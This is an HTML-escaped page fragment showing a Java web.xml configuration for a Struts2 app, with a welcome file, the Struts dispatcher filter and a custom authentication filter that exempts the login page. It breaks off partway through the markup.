  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;xml&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;version&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;1.0&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: #7f007f;&quot;&gt;encoding&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;UTF-8&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;web-app&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;version&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;2.5&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: #7f007f;&quot;&gt;xmlns&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;http://java.sun.com/xml/ns/javaee&quot;&lt;/span&gt;&lt;/i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #7f007f;&quot;&gt;xmlns:xsi&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&lt;/span&gt;&lt;/i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #7f007f;&quot;&gt;xsi:schemaLocation&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;http://java.sun.com/xml/ns/javaee
  &lt;/span&gt;&lt;/i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;i&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;welcome-file-list&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;welcome-file&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;index.jsp&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;welcome-file&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;welcome-file-list&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;filter-name&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;struts2&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;filter-name&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;filter-class&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;filter-class&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;init-param&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;param-name&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;config&lt;/span&gt;&lt;/u&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;param-name&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;param-value&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; struts-default.xml,struts-plugin.xml, struts.xml&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;param-value&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;init-param&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;filter-name&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;AuthenticationFilter&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;filter-name&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;filter-class&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;com.test.lab.filter.AuthenticationFilter&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;filter-class&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;init-param&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;param-name&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;insecurePages&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;param-name&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;param-value&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt; /login.action
  &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;param-value&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
